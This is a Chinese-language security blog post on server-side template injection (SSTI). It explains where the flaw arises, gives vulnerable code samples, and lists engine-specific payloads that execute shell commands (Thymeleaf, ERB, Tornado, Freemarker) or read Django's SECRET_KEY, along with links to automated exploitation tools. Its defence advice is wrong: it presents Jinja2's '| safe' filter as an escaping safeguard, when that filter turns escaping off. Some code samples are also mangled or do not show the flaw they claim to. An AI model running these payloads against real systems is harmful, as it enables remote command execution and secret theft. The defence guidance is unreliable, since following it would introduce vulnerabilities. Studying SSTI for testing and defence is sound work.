SSTI服务端&模版注入&利用分类&语言引擎&数据渲染&项目工具&挖掘思路

Ethan医生8个月前WEB安全245

SSTI(Server-Side Template Injection,服务器端模板注入)是一种安全漏洞,攻击者通过向模板引擎注入恶意代码,在服务器端执行任意指令。以下是 SSTI 的主要使用场景和常见攻击目标:



Web 应用程序(最常见场景)

  • 模板引擎的渲染:许多 Web 框架(如 Flask、Django、Spring、Express 等)使用模板引擎(如 Jinja2、Thymeleaf、Freemarker、Twig 等)动态生成 HTML。如果用户输入直接拼接到模板中,可能触发 SSTI。

    • 示例

      python
      复制
      # Flask (Jinja2) 漏洞示例@app.route('/greet/<name>')def greet(name):
          return render_template_string(f"Hello {name}!")  # 用户可控的 name 参数可能触发 SSTI
  • CMS 和博客系统:如 WordPress 插件、Drupal 模块等,如果使用模板引擎处理用户输入,可能存在风险。


2. 邮件模板系统

  • 某些系统会通过模板生成动态邮件内容(如用户注册确认、密码重置邮件)。如果攻击者能控制模板变量,可能注入恶意代码。

  • 示例

    java
    复制
    // Thymeleaf 漏洞示例(Spring Boot)@GetMapping("/send-email")public String sendEmail(@RequestParam String username) {
        return "Email template: " + username; // 用户输入直接拼接到模板}

3. 报告生成工具

  • 企业应用中,动态生成 PDF/Excel 报告的工具(如 Apache Velocity、Freemarker)可能因拼接用户输入导致 SSTI。


4. 低代码/无代码平台

  • 允许用户自定义模板的平台(如企业内部工作流系统),如果未严格过滤用户输入,可能成为攻击入口。


5. CI/CD 流水线

  • 某些 CI/CD 工具(如 Jenkins、GitLab CI)允许使用模板化配置,攻击者可能通过修改参数注入恶意代码。


易受攻击的模板引擎(按语言分类)

语言/框架模板引擎危险表达式示例
Python (Flask)Jinja2{{ 7*7 }} → 输出 49
Java (Spring)Thymeleaf${T(java.lang.Runtime).getRuntime().exec('calc')}
PHPTwig{{ _self.env.set("FOO","BAR") }}
JavaScriptEJS / Pug (Jade)<%= 7*7 %>
RubyERB<%= 7*7 %>

如何防御 SSTI?

  1. 避免直接拼接用户输入:使用安全的模板变量转义机制(如 Jinja2 的 | safe 过滤器)。

  2. 沙箱环境:限制模板引擎的访问权限(如禁用敏感函数)。

  3. 输入验证:严格过滤用户输入的模板语法符号(如 {{ }}<% %>)。

  4. 最小化模板引擎功能:禁用不必要的特性(如 Java 的 Class.forName)。




#SSTI测试:

ERB:

<%= exec 'ls -al' %>

 

Tornado

blog-post-author-display=user.name}}{{7*7}}

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')

 

Freemarker

<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

 

报错提示:

 

Django

{{settings.SECRET_KEY}}

 

#SSTI利用思路:

1、确定模板引擎

改参数看报错

看模板语法

引擎寻找构造

2、构造payload的思路

寻找可用对象(比如字符串、字典,或者已给出的对象)

通过可用对象寻找原生对象(object)

利用原生对象实例化目标对象(比如os)

执行代码

3、如果手工有困难,可用使用TqlmapSSTImap代替

 

#项目:

https://github.com/epinna/tplmap

https://github.com/vladko312/SSTImap

 

#挖掘:

https://forum.butian.net/share/1229


标签: SSTI

相关文章

XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能&SRC复盘

#黑盒功能点案例1、不安全的图像读取-SVG2、不安全的文档转换-DOCX3、不安全的传递服务-SOAPSOAP 的典型使用场景✅ 适合 SOAP 的情况:需要严格的数据契约(如金融交易、医...

JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

JAVA攻防-FastJson专题&面试不出网利用&BCEL字节码&C3P0二次&Impl链&延时判断

➢ Java攻防-FastJson-不出网gadget链分析#FastJson不出网利用:参考:https://xz.aliyun.com/news/11938参考:https://gith...

Web攻防-业务逻辑篇&购买支付&篡改属性值&算法溢出&签约并发&四舍五入法&订单对冲

#支付逻辑常见测试:1、熟悉常见支付流程选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付2、熟悉那些数据篡改商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

XSS跨站&CSP策略&HttpOnly属性&Filter代码&符号标签&AI绕过&工具项目

#XSS跨站-输入输出-原理&分类&利用点漏洞原理:接受输入数据,输出显示数据后解析执行基础类型:反射(非持续),存储(持续),DOM-BASE拓展类型:jquery,mxss,uxs...

Web攻防-身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JWU&KID&算法替换

Web攻防-身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JWU&KID&算法替换

#JWTJSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。